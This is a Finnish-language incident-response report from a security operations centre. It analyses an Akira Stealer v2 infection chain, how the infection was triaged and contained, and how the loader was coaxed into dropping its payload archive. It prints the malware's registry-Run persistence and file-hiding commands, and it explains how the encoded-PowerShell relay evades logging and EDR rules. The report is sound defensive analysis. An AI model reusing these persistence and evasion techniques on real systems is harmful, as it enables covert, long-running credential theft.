Akira Stealer sisältä: modulaarisen stealerin täydellinen tekninen analyysi
Kaikki alkoi yhdestä Defender-hälytyksestä Microsoft 365:ssä. Ei haittaohjelmaa, ei signatuureja, ei paniikkia. Vain kuiskaus kohinassa. Löysimme kuukausia jatkunutta tunnistetietojen varastamista - kirurgisen tarkkaa, hiljaista ja lähes näkymätöntä. Näin CSOC:mme muutti vaimean signaalin täyden mittaluokan vasteeksi. Ja palautti asiakkaallemme hallinnan ennen kuin hän edes tiesi menettäneensä sen.

Prologi
Kaikki alkoi niin kuin monet nykyajan hyökkäykset alkavat: hiljaa. Matalan luottamustason Defender-hälytys — "Suspicious sequence of exploration activities" — nousi esiin, kun uutta asiakasta oltiin ottamassa mukaan glueckkanjan Cyber Security Operations Centeriin (CSOC).
Signatuuriosumia ei ollut. Ei haittaohjelmaluokituksia. Ei reaaliaikaisen suojauksen reaktiota. Vain yksi käyttäytymiseen perustuva korrelaatio Microsoft 365 Defenderissä, hautautuneena kohinaan — ja silti kiistatta väärin.
Hälytystä triagetessani yksi tietty toimenpide kiinnitti huomioni: python.exe oli avannut sekä Login Data- että Web Data -tiedostot Chromium-profiilin sisältä. Microsoft Defender nosti tämän välittömästi vakavaksi poikkeamaksi — "Possible theft of passwords and other sensitive web browser information."
Tämä ei ollut väärä positiivinen. Se oli jäävuoren huippu.
Kun jäljitin telemetriaa taaksepäin, löysin geneerisen, käynnistyskansiossa sijainneen binäärin — Updater.exe — joka käynnisti NodeJS-pohjaisen kääreen (main.exe). Se puolestaan suoritti komentorivin, joka ajoi astor.py -nimisen skriptin python.exe:n kautta.
Updater.exe → main.exe → cmd.exe → python.exe Crypto\Util\astor.py
Skripti ei vain kaapinut tunnistetietoja — se suoritti sarjan murron jälkeisiä tiedusteluvaiheita, muun muassa rekisterikyselyjä, järjestelmän sormenjälkien keräämistä ja oikeustietoista luettelointia. Se toimi kirurgisen tarkasti ja matki järjestelmän omaa käyttäytymistä välttääkseen havaitsemisen. Ja se toimi — melkein.
Ensimmäisen vasteen hetkellä:
Updater.exesai osuman vain 1 moottorilta 69:stä VirusTotalissa.main.exe,astor.pyja kaikki niihin liittyvät komponentit eivät käytännössä saaneet osumia VirusTotalissa.- Yhtäkään tiedostoa ei ollut allekirjoitettu. Ei korotettuja oikeuksia. Vain "tavallisia" prosesseja tekemässä hyvin epätavallisia asioita.
Updater.exe ei koskenut tunnistetietoihin. Se tehtävä oli varattu astor.py:lle, muistinvaraiselle Python-payloadille — tiedostolle, joka jätti suunnitellusti tuskin lainkaan jälkiä.
21 minuutissa kohteena ollut järjestelmä eristettiin verkosta. 70 minuutissa tunnistetiedot vaihdettiin kaikissa vaikutuksen kohteena olleissa ympäristöissä: sisäiset identiteetit, SaaS-alustat, kolmansien osapuolten palvelut.
Todellinen käännekohta tuli kuitenkin, kun purimme Python-payloadin salauksen kokonaan. Löytämämme ei ollut geneerinen stealer — se oli räätälöity toteutus Akira Stealer v2
Oman threat intelligence -osaamisemme ja reverse engineering -kyvykkyytemme ansiosta pystyimme rekonstruoimaan haittaohjelman koko toiminnallisuuden, poimimaan kaikki upotetut indikaattorit ja ymmärtämään yksityiskohtaisesti sen vaiheistus-, exfiltraatio- ja tunnistetietojen kohdennuslogiikan.
Mikä tärkeintä — emme pysähtyneet tekniseen attribuutioon. Menimme pidemmälle.
Pystyimme toimittamaan asiakkaalle täydellisen aineiston exfiltroiduista tunnistetiedoista: yli 100 uniikkia käyttäjätunnus-salasana-yhdistelmää, mukaan lukien pääsytiedot pilvipalveluihin, CRM-järjestelmiin, sisäisiin alustoihin ja jopa avainhenkilöiden henkilökohtaisiin työkaluihin. Varastaminen oli jatkunut kuukausia — ja pystyimme selvittämään siitä kaiken.
Tästä tapauksesta saatujen havaintojen pohjalta rakensimme tartunnan jälkeisen analyysityökalun, joka skannaa kohteena olleet järjestelmät, rekonstruoi tunnistetietojen käyttökuviot ja tuottaa yksityiskohtaisia forensisia raportteja — kartoittaen tarkalleen, mitä varastettiin, milloin ja mistä.
Esittelemme skanneria lyhyesti tämän raportin lopussa.
Sillä tämä on enemmän kuin pelkkä poikkeama. Näin me tutkimme. Näin me suojaamme.
Tervetuloa glueckkanja CSOC:hen.
Näin me työskentelemme — koska tietomurrot eivät odota.
1. Ensimmäinen tapahtuma ja triage-yhteenveto
- maaliskuuta 2025 Microsoft Defender for Endpoint tuotti Windows 10 64-bittisellä päätelaitteella hälytyksen "Suspicious sequence of exploration activities". Aloitin triagen tämän signaalin pohjalta ja tarkastelin kohteena ollutta järjestelmää prosessipuun, järjestelmän aikajanan ja Defenderin korreloimien todisteiden avulla.
1.1 Aikajanaan perustuva triage
Hälytys osoitti prosessisarjaan, joka vaati tarkempaa tutkimista. Alkutarkastelussa havaitsin seuraavat käyttöoikeudet Chrome-selaimen tietoihin paikallisessa käyttäjäprofiilissa:
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data%LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data
Näiden käytön käynnisti prosessi nimeltä Updater.exe. Vaikka Microsoft Defender ei ollut merkinnyt binääriä heuristisen tai käyttäytymisanalyysin perusteella, löysin Updater.exe:lle havainnon VirusTotalista — sen oli tuolloin merkinnyt yksi ainoa moottori.

Havaittu suoritusketju kokonaisuudessaan oli seuraava:
winlogon.exe
└── userinit.exe
└── explorer.exe
└── Updater.exe
└── main.exe
└── cmd.exe /d /s /c "python.exe Crypto\Util\astor.py"
└── python.exe Crypto\Util\astor.py
Tässä vaiheessa mukana olleista tiedostoista ei ollut tehty syvempää staattista tai dynaamista analyysiä. Keskityin ymmärtämään käyttäytymistä ja kontekstia yleisellä tasolla. Prosessien nimet ja tiedostopolut olivat geneerisiä, eikä epäilyttäviä komentoriviargumentteja esiintynyt ketjutetun Python-suorituksen lisäksi.
1.2 Ensimmäinen vaste
21 minuutin kuluessa ensimmäisestä hälytyksestä eristin isäntäkoneen Defender for Endpointin eristystoiminnoilla. Tavoitteena oli estää mahdollinen leviäminen tai exfiltraatio.
Ensimmäisten 70 minuutin aikana vaihdoimme tunnistetiedot, joiden tiedettiin olevan käytössä kyseisellä isäntäkoneella — kattaen sisäiset järjestelmät, SaaS-alustat ja kriittiset kolmansien osapuolten toimittajat.
Reverse engineering -prosessi käynnistyi ensimmäisen rajaamisen jälkeen. Seuraavat luvut dokumentoivat teknisen syväsukelluksen, jolla tietomurtoa tutkittiin.
1.3 Vasteen yhteenveto – nopea, läpinäkyvä, vaikuttavuuslähtöinen
Vasteemme yhdisti nopeuden, asiantuntemuksen ja operatiivisen erinomaisuuden—tukenaan todennetut työnkulut ja täysi läpinäkyvyys asiakkaalle.
- Havainnosta täyteen rajaamiseen alle 90 minuutissa Defender-hälytykset, verkkoeristys, virustorjuntaskannaus ja tunnistetietojen mitätöinti toteutettiin nopeasti ja yhteen sovitettuina.
- Forensinen syväsukellusvaste 48 tunnissa Mukaan lukien täysi levy- ja muistianalyysi, selainartefaktien tarkastelu, tunnistetietojen dumppauksen havaitseminen ja hyökkääjän toiminnan käyttäytymispohjainen rekonstruointi.
- Turvallinen datan palautus ja todisteiden käsittely Varastettu data—mukaan lukien evästeet, salasanat, tokenit ja selainprofiilit—palautettiin, arkistoitiin forensisesti ja luovutettiin asiakkaalle turvallisesti.
- Läpinäkyvyys ja viestintä päästä päähän Jokainen vaihe—ensimmäisestä hälytyksestä korjaustoimiin ja jälkipuintiin—dokumentoitiin täysin, jaettiin reaaliajassa ja tiivistettiin jäsenneltyyn CSIRT-luovutukseen.
Tämä poikkeama havainnollistaa, miten glueckkanja CSOC ei vain pysäytä haittaohjelmia—vaan purkaa niiden vaikutukset, palauttaa hallinnan asiakkaillemme ja muuttaa jokaisen poikkeaman oivallukseksi.
2. Haittaohjelman arkkitehtuuri ja suoritusketjun yleiskuva
Kohteena olleella päätelaitteella havaittu haittaohjelma noudatti jäsenneltyä, monivaiheista arkkitehtuuria, jossa vastuut oli selkeästi eroteltu: jakelu, dekoodaus, suoritus ja datan exfiltraatio.
2.1 Suoritusketjun yleiskuva
Havaittu suoritusvirta oli seuraava:
Updater.exe
└── main.exe
└── cmd.exe
└── python.exe astor.py
Jokainen ketjun komponentti myötävaikutti huomaamattomuuteen, modulaarisuuteen ja havaitsemisen välttämiseen. Arkkitehtuuri hyödynsi laillisia ajoympäristöjä ja käyttöjärjestelmän vakiotulkkeja ohittaakseen havaitsemismekanismit.
2.1.1 Epävarma alkuperä: puuttuva alkuvektori
Vaikka murron jälkeistä ympäristöä analysoitiin laajasti, alkuperäistä hyökkäysvektoria ei pystytty varmuudella määrittämään. Epävarmuus johtuu ensisijaisesti siitä, että haittaohjelma oli ollut aktiivinen arviolta kuusi kuukautta ennen havaitsemista — mikä ylittää Microsoft Defender for Endpointin lokien säilytysajan.
Tämän seurauksena alkuperäisestä tartunta-ajankohdasta ei ollut saatavilla telemetriaa eikä forensisia artefakteja. Defenderin aikajanalta tai siihen liittyviltä antureilta ei ollut palautettavissa yhtään jakeluvaiheeseen liittyvää prosessin luontitapahtumaa, tiedostopudotusta tai komentorivimerkintää.
Kontekstuaalisten indikaattorien ja OSINT-lähteiden perusteella todennäköinen tartuntavektori on voinut liittyä seuraaviin:
- Troijalaistetut asennusohjelmat krakatuille tai muokatuille pelisovelluksille
- Väärennetyt apuohjelmat tai "suorituskyvyn parantajat", joita jaetaan foorumeilla ja kolmansien osapuolten sivustoilla
- Haitalliset selainlaajennukset, jotka kohdistuvat tiettyihin käyttäjän kiinnostuksen kohteisiin (esim. kryptotyökalut tai Discord-lisäosat)
Nämä jäävät kuitenkin spekulaatioksi.
Tutkinnassa ei pystytty tunnistamaan vahvistettua dropperia, tietojenkalasteluviestiä eikä murrettua verkkosivustoa. Vaikka haittaohjelman arkkitehtuuri ja suoritusketju rekonstruoitiin täysin, alkuperäistä murtokohtaa (MITRE ATT&CK T1190 / T1566) ei pystytty validoimaan.
2.1.2 Updater.exe – ensimmäisen vaiheen loader
Kun tarkastelin prosessipuuta Microsoft 365 Defenderissä, Updater.exe erottui heti — ei sen takia, mitä se teki, vaan sen takia, miten hiljaisesti se upotti itsensä järjestelmän suoritusvirtaan.
Tämä binääri oli rekisteröity automaattiseen suoritukseen Windowsin vakiomuotoisen Run-avaimen kautta:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Se tarkoitti, että ohjelma käynnistyi joka kerta, kun käyttäjä kirjautui istuntoonsa — klassinen persistence-mekanismi, joka ei vaadi korotettuja oikeuksia ja livahtaa usein huomaamatta EDR-telemetrian läpi.
- Tiedostotyyppi: Windows PE -suoritettava (32-bittinen)
- Allekirjoitus: Allekirjoittamaton
- VirusTotal-havainto: 1/69 moottoria triagen hetkellä
- Suorituskonteksti: Keskitason eheys, käyttäjäistunto
- Sijainti:
AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
Tiedosto itsessään oli pieni, siististi käännetty ja staattisen analyysin näkökulmasta huomaamaton. Ei epäilyttäviä merkkijonoja, ei salattuja osioita eikä merkkejä obfuskoinnista tai pakkaamisesta. Se toi mukanaan vain vähäisen joukon Windowsin vakio-API-funktioita eikä sisältänyt upotettua payloadia.
Sen käyttäytyminen oli kuitenkin paljastavampaa. Käynnistyttyään Updater.exe purki Electron-sovelluksen mukana tulleesta arkistosta — itsenäisen NodeJS-ajoympäristön, joka oli paketoitu Electronin vakiotyökaluilla. Purettu kansio sisälsi suoritettavan tiedoston nimeltä main.exe, joka käynnistettiin sen jälkeen lapsiprosessina.
Updater.exe → main.exe
Tässä vaiheessa ei esiintynyt verkkoindikaattoreita, prosessi-injektiota eikä poikkeamia oikeuksissa tai tokenin korotuksessa. Updater.exe:n koko rooli näytti olevan loader — toisen vaiheen komponentin (main.exe) toimittaminen ympäristöön, todennäköisesti huomaamattomuuden ja modulaarisuuden ylläpitämiseksi.
Tällainen arkkitehtoninen erottelu on yleistä nykyaikaisissa massahaittaohjelmissa ja stealer-työkalupakeissa. Ensimmäisen vaiheen loader toimii vain jakelutynkänä, jolloin raskaampi logiikka — usein obfuskoitu, tulkattu tai dynaamisesti generoitu — voidaan sijoittaa myöhempiin vaiheisiin.
Tässä tapauksessa Updater.exe palveli juuri tätä tarkoitusta: hiljainen ensimmäinen jalansija, joka oli suunniteltu sulautumaan taustaan, pysymään havaitsematta ja raivaamaan tietä varsinaisen stealer-logiikan suoritukselle main.exe:ssä ja lopulta astor.py:ssä.
Se ei koskenut tiedostojärjestelmään oman hakemistonsa ulkopuolella eikä laukaissut yhtäkään käyttäytymissääntöä — ja silti se oli ensimmäinen domino pitkässä ja huolellisesti rakennetussa hyökkäysketjussa.
2.1.3 main.exe – obfuskoitu NodeJS-payloadin säiliö
Updater.exe:n suorituksen jälkeen käynnistettiin toisen vaiheen binääri nimeltä main.exe. Tämä komponentti esiintyi tavallisena Electron-sovelluksena — ajoympäristönä, joka niputtaa yhteen Node.js:n ja Chromiumin ja jota käytetään usein alustariippumattomissa työpöytäsovelluksissa. Sen vaarattomuus on osa sitä, mikä tekee siitä vääriin käsiin joutuessaan niin vaarallisen.
Tarkastelussa main.exe sisälsi sisäisen arkiston nimeltä app.asar — Electron-pohjaisten sovellusten vakiopaketointimuodon. Toisin kuin laillisissa Electron-sovelluksissa, tämän arkiston sisältö oli kaikkea muuta kuin tavanomainen.
- Alusta: Electron (Node.js + Chromium)
- Arkkitehtuuri: 64-bittinen Windows
- Sisällön rakenne: Upotetut JavaScript-tiedostot
app.asar-arkistossa - Obfuskoinnin taso: Korkea — toteutettu
js-confuser-työkalulla, kaupallisesti saatavilla olevalla JavaScriptin obfuskointipaketilla
Kun main.exe oli purettu ja obfuskointi poistettu, sen ydinlogiikka kävi ilmi. Sen tarkoitus ei ollut näyttää käyttöliittymää tai suorittaa mitään frontend-logiikkaa — sen sijaan se toimi piilotettuna suorituksen orkestroijana.
Havaittu käyttäytyminen:
- Purkaa ja kokoaa uudelleen Base64-koodatun PowerShell-komennon, joka on tallennettu JavaScript-payloadiin
- Käynnistää
cmd.exe:n suorittaakseen PowerShell-komennon sisäisesti - PowerShell-komento puolestaan kutsuu
python.exe:ä ja välittää sille skriptin, joka sijaitsee näennäisen viattomassa hakemistorakenteessa (Crypto\Util\astor.py)
main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\Util\astor.py
Tämä ketjutus antoi hyökkääjälle mahdollisuuden vaihtaa suorituskontekstia ja välttää suoraviivaisen havaitsemisen. Koska payload oli obfuskoitu ja vaiheistettu muistiin, perinteiset signatuuripohjaiset kontrollit olivat tehottomia.
Electron-kehys tarjosi ihanteellisen suojan — se salli mielivaltaisen JavaScriptin suorittamisen herättämättä huomiota. JavaScript-pohjainen suoritus toi mukanaan myös alustariippumattomuuden, mikä mahdollisti joustavan käyttöönoton ja dynaamisen ohjauslogiikan helpomman integroinnin.
main.exe:stä teki erityisen vaarallisen sen kyky toimia pudottamatta yhtään lisätiedostoa sen lisäksi, mitä oli jo vaiheistettu. Stealer-skripti kutsuttiin suoraan levyltä, mutta kaikki vaiheistus- ja suorituslogiikka pysyi upotettuna Electron-pakettiin.
Yhteenvetona main.exe toimi obfuskoituna, monikerroksisena suorituksen ytimenä — porttivartijana ensimmäisen persistencen ja Akira Stealerin payloadin täyden aktivoinnin välillä astor.py:ssä.
2.1.4 cmd.exe ja PowerShell-välitys
Tämä suoritusketjun vaihe toimi välityksenä — ei payload-logiikan, vaan obfuskoinnin ja epäsuoruuden vuoksi.
Kun main.exe oli hoitanut oman roolinsa payloadin purkamisessa ja dekoodauksessa, se käynnisti cmd.exe-prosessin. Tämä prosessi ei itsessään sisältänyt haitallista logiikkaa eikä kirjoittanut tai muokannut tiedostoja. Sen ainoa tarkoitus oli toimia kääreenä, joka käynnistää PowerShell-istunnon koodatulla komennolla.
Tämä menetelmä on tunnettu taktiikka näkyvyyden vähentämiseen ja havaitsemisen välttämiseen:
- Suoritusketju:
main.exe → cmd.exe /d /s /c "powershell -EncodedCommand <Base64Payload>" - Tarkoitus:
- Kapseloi PowerShell-suorituksen ylimääräiseen komentotulkkiin
- Piilottaa varsinaisen PowerShell-koodin suoralta näkyvyydeltä lokeissa
- Välttää EDR-ratkaisut, jotka reagoivat suoraan
powershell.exe:n käyttöön epäilyttävillä parametreilla
Upottamalla PowerShell-skriptin Base64-koodattuna merkkijonona ja kutsumalla sitä cmd.exe:n kautta hyökkääjä vältti useita havaitsemismuotoja:
- Komentorivin heuristiset suodattimet
- Vakiolokitus (esim. Event ID 4104, 4688)
- Sääntöpohjaiset havainnot
powershell.exe:n argumenteille, kuten-NoProfile,-ExecutionPolicy Bypasstai sisäiset skriptit
Huomionarvoista on, että PowerShell-komento pidettiin minimaalisena ja keskittyi yksinomaan python.exe:n käynnistämiseen polulla upotettuun stealer-skriptiin — astor.py. Lisämoduuleja ei ladattu, eikä muistissa esiintynyt ilmeisiä signatuureja.
Tätä välitystekniikkaa käytetään usein sekä red teamingissä että kehittyneissä infostealereissä — se on kevyt väistökerros, joka on helppo toteuttaa mutta vaikea napata kiinni ilman telemetrian korrelointia.
Tässä tapauksessa cmd.exe palveli juuri tätä tarkoitusta: yksinkertainen, hiljainen silta JavaScript-logiikan ja Python-suorituksen välillä — sellainen, joka lähes livahti huomaamatta ohi.
2.1.5 python.exe ja astor.py
Suoritusketjun viimeinen ja vaikuttavin vaihe saavutettiin, kun python.exe kutsui astor.py:tä — Python-pohjaista, modulaarista infostealeriä, joka toimi kokonaan muistissa. Tämä skripti oli koko hyökkäysketjun operatiivinen ydin.
Toisin kuin monet massastealerit, astor.py:tä ei toimitettu selkokielisenä. Sitä suojasi monikerroksinen salauksenpurkumekanismi:
- Salauspino: Tiedosto pakattiin ensin GZIP-muotoon ja salattiin sen jälkeen AES-256-CBC
ä. - Avaimen johtaminen: Käytössä oli PBKDF2-pohjainen avaimenjohtamisprosessi (SHA-512, 1 000 000 iteraatiota), mikä teki staattisesta analyysistä ja raa'an voiman murtamisesta erittäin epäkäytännöllistä.
Kun skripti oli purettu ajonaikaisesti, se suoritti useita erikoistuneita moduuleja, jotka kaikki kohdistuivat arkaluonteisiin tietolähteisiin:
Ydintoiminnot
- Selaindatan poiminta: Haki kirjautumistiedot, evästeet ja automaattisen täytön tiedot Chromium-pohjaisista selaimista (Chrome, Edge, Brave, Opera)
- Tokenien keruu: Keräsi istuntotokeneja erityisesti Discordista ja etsi kryptolompakkolaajennuksia
- Datan paketointi: Kokosi kaiken kerätyn datan jäsenneltyyn ZIP-arkistoon säilyttäen hakemisto- ja tiedostokontekstin hyökkääjän puolella tehtävää jäsentämistä varten
- Exfiltraatio: Lähetti syntyneen arkiston julkisiin API-rajapintoihin ja infrastruktuuriin.
Suorituskonteksti
Koko stealer-logiikka suoritettiin muistista, eikä levylle kirjoitettu pysyviä tiedostoja. Se jätti minimaalisesti telemetriajälkiä prosessin sisäisten muistiartefaktien ja tavanomaisen aliprosessikutsun lisäksi. Tässä vaiheessa ei yritetty luoda persistenceä — tavoitteena oli nopea, tehokas ja hiljainen tietovarkaus.
Laillisten API-rajapintojen käyttö exfiltraatioon teki myös havaitsemisesta ja estämisestä merkittävästi vaikeampaa, sillä ulospäin suuntautuva liikenne sulautui tavanomaiseen internetkäyttöön.
Tämä vaihe vahvisti lopulta haittaohjelman identiteetin: kyseessä oli Akira Stealer v2 -variantti, joka tunnetaan seuraavista:
- Korkea modulaarisuus
- Ajonaikainen obfuskointi
- Kaupallinen jakelu Telegramin kautta
- Vahva keskittyminen tunnistetietojen keruuseen ja token-pohjaiseen istuntojen kaappaukseen
Yhdessä aiempien vaiheiden kanssa astor.py muodosti huomaamattoman ja hyvin suunnitellun infostealer-ketjun kriittisen päätepisteen. Seuraavissa luvuissa pilkomme tämän komponentin tarkemmin osiin ja kerromme, miten käänsimme sen logiikan takaisin, kartoitimme sen infrastruktuurin ja palautimme jokaisen sen toiminnassa käytetyn kompromissi-indikaattorin.
3. Deep Dive: Updater.exe
Updater.exe oli ensimmäinen binääri, joka havaittiin murron jälkeisessä analyysissä. Neutraalista ulkoasustaan ja olemattomasta havaintojalanjäljestään huolimatta sillä oli kriittinen rooli haittaohjelman operatiivisen persistencen ylläpidossa ja seuraavan vaiheen payloadin toimittamisessa.
3.1 Ominaisuudet
| Ominaisuus | Arvo |
|---|---|
| Muoto: | Windows Portable Executable (PE32) |
| Arkkitehtuuri: | x86-64 |
| Koko: | ~154 KB |
| Entropia: | Normaali (ei pakattu) |
| Allekirjoitukset: | Ei mitään |
| VirusTotal-osuma: | 1/69 analyysin hetkellä |
Tiedostossa oli siisti import-taulukko eikä upotettuja merkkijonoindikaattoreita. Tunnettuja pakkaajia, kryptereitä tai ajonaikaisia obfuskointimekanismeja ei havaittu. Rakenne vastasi itse käännettyjä binäärejä.
3.2 Käyttäytymisanalyysi
Ei vaadi käyttäjän toimia
Haittaohjelmaketju suoritettiin ilman minkäänlaista käyttäjän toimintaa. Defenderin prosessitelemetrian perusteella ensimmäinen binääri (Updater.exe) käynnistettiin automaattisesti — todennäköisimmin persistence-mekanismin, kuten rekisterin autorun-avaimen, kautta. Murron iän ja historiallisten tapahtumalokien puuttumisen vuoksi tarkkaa persistence-menetelmää ei kuitenkaan pystytty palauttamaan.
Hiljainen suoritus ja vaiheistus
Suorituksen käynnistyttyä Updater.exe käynnisti välittömästi main.exe:n ilman näkyvää ikkunaa ja ilman käyttäjälle esitettyjä kysymyksiä. Vaiheistus tapahtui hiljaa taustalla. Käyttäjän suostumusdialogeista, UAC-kehotteista tai käyttöliittymäkomponenteista ei ollut merkkejä.
Payloadin toimituskäyttäytyminen
main.exe todettiin osaksi Electron-sovellusrakennetta, mutta sen toimituksen tarkka alkuperä jää epäselväksi. Yhtä seuraavista pidetään oletuksena:
- Payload on saattanut olla niputettu
Updater.exe:n sisälle (esim. upotettuna resurssina), tai - se on saatettu hakea etälähteestä
Verkkotelemetrian puutteen ja palautetun kovakoodatun URL-osoitteen puuttumisen vuoksi Electron-sovelluksen toimitusvektori jää epäselväksi.
Prosessiketjun käyttäytyminen
Suorituksen käynnistyttyä Updater.exe käynnisti main.exe:n lapsiprosessina. Kutsu oli ei-interaktiivinen, eikä yksikään ketjussa käynnistetty prosessi osoittanut käyttöliittymätoimintaa. Prosessiketju jatkui odotetusti:
Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py
Kaikki suoritusvaiheet toimivat ilman käyttäjän syötettä, ja ne nojasivat yksinomaan ennalta määritettyyn käynnistyslogiikkaan ja hiljaisiin suorituspolkuihin. Tämä minimoi altistumisen ja auttoi haittaohjelmaa pysymään havaitsematta pitkän ajan.
3.3 Rooli tartuntaketjussa
Updater.exe:llä oli yksi mutta olennainen rooli laajemmassa tartuntaketjussa: se vastasi toisen vaiheen komponentin, main.exe:n, persistencestä ja uudelleentoimituksesta.
Vahvistetut ominaisuudet
- Se ei sisältänyt tai suorittanut haitallista logiikkaa suoraan
- Se ei suorittanut datan exfiltraatiota
- Se ei ollut vuorovaikutuksessa selaimien tunnistetietovarastojen tai arkaluonteisten käyttäjätietojen kanssa
Sen ainoa tarkoitus oli käynnistää main.exe hiljaa käyttäjän kirjautumisen yhteydessä käyttäen rekisterin autorun-merkintää todennäköisimpänä persistence-menetelmänä (vaikka sitä ei telemetrian rajoitusten vuoksi suoraan palautettu).
Toimiessaan erillisenä ensimmäisen vaiheen loaderina Updater.exe varmisti, että varsinainen stealer-payload (astor.py) pysyi kätkettynä suorituksen syvempiin kerroksiin. Tämä työnjako antoi hyökkääjille mahdollisuuden:
- Välttää korreloinnin staattisissa virustorjunta- tai sandbox-järjestelmissä
- Vaihtaa tai päivittää payloadeja muokkaamatta loaderia
- Vähentää käyttäytymissignaaleja sisääntulopisteessä
Tämä kuvio on tyypillinen malware-as-a-service (MaaS) -toiminnassa, jossa jakelumekanismit ovat geneerisiä ja payloadit modulaarisia tai asiakaskohtaisia.
Tässä tapauksessa Updater.exe tarjosi juuri sen verran logiikkaa, että se toimi luotettavana ja huomaamattomana sisääntulopisteenä — ei enempää, mutta ei myöskään vähempää.
3.4 Persistence rekisterin kautta (vahvistettu astor.py:ssä)
Python-payloadin staattinen analyysi paljasti, että Updater.exe:n persistence on toteutettu eksplisiittisesti rekisterin autorun-merkinnällä:
- Rekisteripolku:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run - Arvon nimi:
Realtek Audio - Payloadin polku:
%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe
Vastaava rekisterikomento suoritetaan PowerShellin kautta:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Realtek Audio" /t REG_SZ /d "...\Updater.exe" /f
Tämä varmistaa, että haittaohjelma käynnistyy jokaisen käyttäjän kirjautumisen yhteydessä. Tiedosto merkitään myös hidden- ja system-attribuuteilla havaitsemisen välttämiseksi entisestään:
attrib +h +s "Updater.exe"
Tämä persistence-mekanismi oli upotettu suoraan astor.py-koodiin, mikä vahvistaa, että viimeisen vaiheen stealer ylläpitää aktiivisesti loaderin läsnäoloa levyllä ja käynnistysrekisterissä.
3.5 Yhteenveto
Vaikka
Updater.exeei ollut rakenteensa tai sisältönsä puolesta luonnostaan haitallinen, sen kontekstuaalinen käyttäytyminen suoritusketjussa vahvisti sen roolin haittaohjelman loaderina.
Tämä binääri toimi siistinä, minimalistisena ensimmäisen vaiheen käynnistäjänä — välttäen havaitsemisen staattisessa analyysissä, virustorjuntamoottoreissa ja käyttäytymissäännöissä. Sen suunnittelu keskittyi puhtaasti huomaamattomuuteen ja operatiiviseen tukeen, ei haitallisen logiikan suorittamiseen itse.
Sen rooli ulottui kuitenkin ensimmäistä toimitusta pidemmälle. astor.py-payloadin reverse engineeringin aikana tunnistimme logiikan, joka tarkisti aktiivisesti Updater.exe:n läsnäolon. Tämä tarkistus oli osa laajempaa terveys- ja itsekorjautumissykliä, joka oli toteutettu stealer-koodiin — mekanismi, jonka tarkoitus oli varmistaa tartuntaketjun eheys ja palauttaa puuttuvat komponentit tarvittaessa.
Tämä tarkoittaa, että Updater.exe ei vastannut vain haittaohjelman käynnistämisestä, vaan muodosti myös osan sen jatkuvasta ajonaikaisesta validoinnista. Ilman tätä tynkää haittaohjelma voisi menettää kykynsä alustaa itsensä uudelleen tulevissa istunnoissa.
Updater.exe:n keskeiset toiminnot:
main.exe:n saumaton toimitusastor.py:n epäsuora suoritus- Loaderin ja payload-logiikan erottaminen toisistaan
- Payload itse viittaa siihen osana operatiivista terveysvalvontaa
Luvussa 5 käsittelemme yksityiskohtaisesti stealerin sisäisiä terveystarkistusrutiineja, mukaan lukien sen itsekorjautuvan käyttäytymisen ja eheyden validointimekanismit.
Toistaiseksi on selvää, että Updater.exe toimi tässä kerroksellisessa infostealer-arkkitehtuurissa sekä sytytyksenä että ankkuripisteenä.
3.6 Poimintatemppu: loaderin päihittäminen
Toisinaan parhaat reverse engineering -tulokset eivät synny syvästä binäärien purkamisesta — vaan pienestä juonittelusta ja kärsivällisyydestä.
Kun analysoimme tartuntaa hallitussa laboratorioympäristössä, huomasimme jotain outoa: Updater.exe oli paikalla ja suorittui, mutta main.exe oli kadonnut tiedostojärjestelmästä. Silloin saimme idean — mitä tapahtuu, jos annamme haittaohjelman korjata itsensä?
Poistimme tarkoituksellisesti main.exe:n saastuneesta ympäristöstä ja jätimme Updater.exe:n koskematta. Ja aivan varmasti, seuraavan käyttäjäistunnon kirjautumisen jälkeen loader ryhtyi toimeen — ei kiukuttelemalla, vaan hiljaisella yrityksellä rakentaa toinen vaiheensa uudelleen.
Tässä kohtaa asia muuttui kiinnostavaksi: sen sijaan että Updater.exe olisi luonut main.exe:n suoraan uudelleen, se pudotti ensin tiedoston nimeltä app-64.7z — tavallisen 7-Zip-arkiston. Tämä arkisto sisälsi koko Electron-sovellusrakenteen, mukaan lukien main.exe, resources ja app.asar-payload kaikella upotetulla logiikallaan.
Olimme käytännössä pakottaneet haittaohjelman luovuttamaan meille lähdepaketin.

Kun tämä 7z-arkisto oli käsissämme, pystyimme purkamaan ja kääntämään takaisin JavaScript-pohjaisen orkestrointilogiikan kokonaan koskematta enää alkuperäiseen loaderiin. Arkiston rakenne vastasi odotettua Electron-sovelluksen asettelua täydellisesti.
Tämä käyttäytyminen viittaa vahvasti siihen, että hyökkääjät valitsivat tarkoituksella modulaarisen ja ylläpidettävän arkkitehtuurin, jossa arkistot toimivat joustavina payload-säiliöinä. Se antoi heille myös mahdollisuuden vaihtaa tai päivittää payload-komponentteja kääntämättä loader-binääriä uudelleen.
Ja meidän tapauksessamme? Se antoi meille mahdollisuuden päihittää heidän ketjunsa, siepata pudotuksen ja kävellä pois koko paketin kanssa — kuin varastaisi piirustukset työpöydältä rakentajan katsoessa muualle.
Sanotaan näin: toisinaan parhaat forensiset työkalut ovat del, wait ja ripaus uteliaisuutta.
4. Deep Dive: pow.bat
Analysoidussa haittaohjelmakampanjassa komponentti Invoke-SharpLoader toimii räätälöitynä, muistinvaraisena .NET-loaderina, jonka suoritusvirta on erittäin modulaarinen ja väistelevä. Tässä luvussa pilkomme osiin sen sisäisen arkkitehtuurin, sen analyysin vastaisen strategian AMSI-patchauksen kautta ja sen roolin toisen vaiheen payloadin mahdollistajana.
4.1 Binäärin ominaisuudet – SharpLoaderin batch-kääre
Ennen kuin ulompi kääre pow.bat suoritetaan .NET-payloadin lataamiseksi muistiin, sillä on staattisen analyysin perusteella seuraavat ominaisuudet:
| Ominaisuus | Arvo |
|---|---|
| Muoto: | DOS-batch-tiedosto |
| Arkkitehtuuri: | Skriptipohjainen (ei käännetty binääri) |
| Tiedostokoko: | 27,79 KB (28454 tavua) |
| Entropia: | Normaali (pelkkä ASCII-teksti) |
| Magic: | DOS batch file, ASCII text |
